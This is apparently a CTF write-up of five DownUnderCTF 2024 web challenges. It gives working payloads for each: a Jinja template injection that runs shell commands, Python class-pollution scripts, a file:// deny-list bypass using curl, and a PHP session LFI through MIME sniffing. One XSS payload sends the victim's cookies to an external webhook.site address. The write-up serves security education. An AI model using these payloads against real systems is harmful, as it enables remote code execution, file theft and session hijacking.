DownUnderCTF2024


[Web] parrot the emu

Description (parrot the emu)

It is so nice to hear Parrot the Emu talk back

Analysis

The code renders a template string with user input which leads to RCE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/', methods=['GET', 'POST'])
def vulnerable():
chat_log = []

if request.method == 'POST':
user_input = request.form.get('user_input')
try:
result = render_template_string(user_input)
except Exception as e:
result = str(e)

chat_log.append(('User', user_input))
chat_log.append(('Emu', result))

return render_template('index.html', chat_log=chat_log)

Solution

1
2
3
{{cycler.__init__.__globals__.os.popen('cat ./flag').read()}}

DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

[Web] co2

Description (co2)

A group of students who don’t like to do things the “conventional” way decided to come up with a CyberSecurity Blog post. You’ve been hired to perform an in-depth whitebox test on their web application.

Analysis

Our goal is to have “flag” defined as the string “true” but it is already previously defined.

1
2
3
4
5
6
7
8
9
10
11
flag = os.getenv("flag")

...

@app.route("/get_flag")
@login_required
def get_flag():
if flag == "true":
return "DUCTF{NOT_THE_REAL_FLAG}"
else:
return "Nope"

This may seem impossible but the challenge is a Python prototype pollution challenge which was researched in article. The challenge implements the same vulnerable merge function which can pollute properties in the chain.

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

Solution

We will pollute the flag variable to overwrite it to “true” through the /send_feedback endpoint. The solution was made my teammate vicevirus.

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests

chall_url = "https://web-co2-7cd5e7e64c239c8c.2024.ductf.dev"
s = requests.Session()

def register():
url = chall_url + "/register"
data = {
"username": "riro",
"password": "rori"
}

request = s.post(url, data=data)
print(request.text)


def login():
url = chall_url + "/login"
data = {
"username": "riro",
"password": "rori"
}

request = s.post(url, data=data)
print(request.text)

def sendPayload():
url = chall_url + "/save_feedback"
data = {
"__class__": {
"__init__": {
"__globals__": {
"flag": "true"
}
}
}
}

request = s.post(url, json=data)
print(request.text)

def getFlag():
url = chall_url + "/get_flag"
request = s.get(url)
print(request.text)


register()
login()
sendPayload()
getFlag()

DUCTF{_cl455_p0lluti0n_ftw_}

[Web] hah got em

Description (hah got em)

Deez nutz Hah got em … Oh by the way I love using my new microservice parsing these arrest reports to PDF

Analysis

The dockerfile provided implements gotenberg version 8.0.3. As the latest version is 8.8.0, we can be certain that the old version contains a vulnerability.

Browsing to github to view the change logs for the version after 8.0.3, 8.1.0 shows that there is an unathorized file read.

The changes are as follows:

1
2
- CHROMIUM_DENY_LIST="^file:///[^tmp].*" (version 8.0.3, the version used by the challenge)
+ CHROMIUM_DENY_LIST=^file:(?!//\/tmp/).* (version 8.1.0)

In the 8.0.3 version, the regex checks for “file:///“ as the starting point to try and disallow file reads such as “file:///etc/passwd”.

Solution

We can bypass this check by supplying a local file URI such as “file://localhost/etc/passwd” as it does not start with “file:///“. This is due to the fact that a valid file URI can be defined as:

1
2
3
file:/path (no hostname)
file:///path (empty hostname),
file://hostname/path

Payload

1
2
3
curl --request POST https://web-hah-got-em-20ac16c4b909.2024.ductf.dev/forms/chromium/convert/url --form url=file://localhost/etc/flag.txt -o flag.pdf

DUCTF{dEeZ_r3GeX_cHeCK5_h4h_g0t_eM}

[Web] co2v2

Description (co2v2)

Well the last time they made a big mistake with the flag endpoint, now we don’t even have it anymore. It’s time for a second pentest for some new functionality they have been working on.

Analysis

The challenge has the same merge function from the previous challenge but now the goal of the challenge is to achieve XSS. By looking at the source files, we can see that there are two protections in place which are:

  • Jinja Escaping
  • Content Security Policy (CSP) with random nonce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
TEMPLATES_ESCAPE_ALL = True

...

class jEnv():
"""Contains the default config for the Jinja environment. As we move towards adding more functionality this will serve as the object that will
ensure the right environment is being loaded. The env can be updated when we slowly add in admin functionality to the application.
"""
def __init__(self):
self.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)

template_env = jEnv()

...

@app.after_request
def apply_csp(response):
nonce = g.get('nonce')
csp_policy = (
f"default-src 'self'; "
f"script-src 'self' 'nonce-{nonce}' https://ajax.googleapis.com; "
f"style-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "
f"script-src-attr 'self' 'nonce-{nonce}'; "
f"connect-src *; "
)
response.headers['Content-Security-Policy'] = csp_policy
return response

Nonce generation code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SECRET_NONCE = generate_random_string()

RANDOM_COUNT = random.randint(32,64)

...

def generate_nonce(data):
nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
sha256_hash = hashlib.sha256()
sha256_hash.update(nonce.encode('utf-8'))
hash_hex = sha256_hash.hexdigest()
g.nonce = hash_hex
return hash_hex

...

@app.before_request
def set_nonce():
generate_nonce(request.path)

...

The admin will visit the home page of the site which contains our blog posts, in order for our XSS payload to be executed, we would need to bypass these restrictions.

Solution

There is a convenient route under /admin/update-accepted-templates that enables us to change the original autoescape value to false by prototype pollution. After escaping is bypassed, we will now have to bypass the CSP by changing the SECRET_NONCE and RANDOM_COUNT variables in order to generate a nonce that we control.

1
2
3
4
5
6
7
8
9
10
11
12
13
TEMPLATES_ESCAPE_ALL = True

...
@app.route("/admin/update-accepted-templates", methods=["POST"])
@login_required
def update_template():
data = json.loads(request.data)

if "policy" in data and data["policy"] == "strict":
print("Policy reached", flush=True)
template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)

return jsonify({"success": "true"}), 200

We will change the SECRET_NONCE to an empty string “” and RANDOM_COUNT to 0. The home page has a path of “/“ which will be passed to the data variable in generate_nonce. The nonce will now become “” + “/“ + “” which is just “/“. The resulting nonce is “8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1”.

1
2
3
4
5
6
7
8
def generate_nonce(data):
nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
sha256_hash = hashlib.sha256()
sha256_hash.update(nonce.encode('utf-8'))
hash_hex = sha256_hash.hexdigest()
g.nonce = hash_hex
return hash_hex

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests

URL = "https://web-co2v2-54990d5ba36d1ee8.2024.ductf.dev/"

s = requests.Session()

def register(username, password):
data = {"username":username,"password":password}
print(f"Registering {username} with password {password}")
s.post(URL + "register", data=data)
return

def login(username, password):
data = {"username":username,"password":password}
s.post(URL + "login", data=data)
print(f"Logging into {username}")
return

def pollute():

templates_escape_all = {
"__class__":{
"__init__":{
"__globals__":{
"TEMPLATES_ESCAPE_ALL": False
}
}
}
}

escape_rule = {
"policy": "strict"
}

secret_nonce = {
"__class__":{
"__init__":{
"__globals__":{
"SECRET_NONCE": ""
}
}
}
}

random_count = {
"__class__":{
"__init__":{
"__globals__":{
"RANDOM_COUNT": 0
}
}
}
}

print(f"Polluting TEMPLATES_ESCAPE_ALL")
s.post(URL + "save_feedback", json=templates_escape_all)

print(f"Updating escape rule")
s.post(URL + "admin/update-accepted-templates", json=escape_rule)

print(f"Polluting SECRET_NONCE")
s.post(URL + "save_feedback", json=secret_nonce)

print(f"Polluting RANDOM_COUNT")
s.post(URL + "save_feedback", json=random_count)

def XSS():
payload = {
"title":"""<script nonce="8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1">window.location='https://webhook.site/39cf3b9c-65eb-4098-a261-e98dc1d8e01b?f='+document.cookie</script>""",
"content":"",
"public":1,
"save":"Save Post"
}

print(f"Creating XSS post")
s.post(URL + "create_post", data=payload)

print("Sending XSS to bot")
s.get(URL + "api/v1/report")

if __name__ == "__main__":
username = "XSS"
password = "XSS"
register(username, password)
login(username,password)
pollute()
XSS()

DUCTF{_1_d3cid3_wh4ts_esc4p3d_}

[Web] sniffy

Description (sniffy)

Visit our sanctuary to hear the sounds of the Kookaburras!

Analysis

The goal is to achieve LFI to read the PHP session file which contains the flag. However, as the MIME type of our PHP session is text/plain, we are unable to read it directly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$_SESSION['flag'] = FLAG; /* Flag is in the session here! */

...

$file = 'audio/' . $_GET['f'];

if (!file_exists($file)) {
http_response_code(404); die;
}

$mime = mime_content_type($file);

if (!$mime || !str_starts_with($mime, 'audio')) {
http_response_code(403); die;
}

header("Content-Type: $mime");
readfile($file);

Solution

There is an audio MIME type defined with an offset of 1080. Utilising the injection point in /index.php?theme=, we can inject arbitary characters into our session file. Then, we will slowly add characters until (M.K.) has the offset of 1080.

1
2
3
4
#audio/x-screamtracker-module
1080 string M.K. audio/x-mod

$_SESSION['theme'] = $_GET['theme'] ?? $_SESSION['theme'] ?? 'light';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

URL = "https://web-sniffy-d9920bbcf9df.2024.ductf.dev/"
s = requests.Session()

s.get(URL)
cookies = s.cookies['PHPSESSID']

original = f'flag|s:7:"DUCTF{1111}";theme|s:5:"light";'

for i in range(100):
code = "A" * (1000 - len(original)) + "B" * i + 'M.K.'
r = s.get(f'{URL}/index.php?theme={code}')
r2 = requests.get(f'{URL}/audio.php?f=../../../../../tmp/sess_{cookies}')
if r2.status_code == 403:
print(f'Trying {i}')
continue
else:
print(r2.text)
break

DUCTF{koo-koo-koo-koo-koo-ka-ka-ka-ka-kaw-kaw-kaw!!}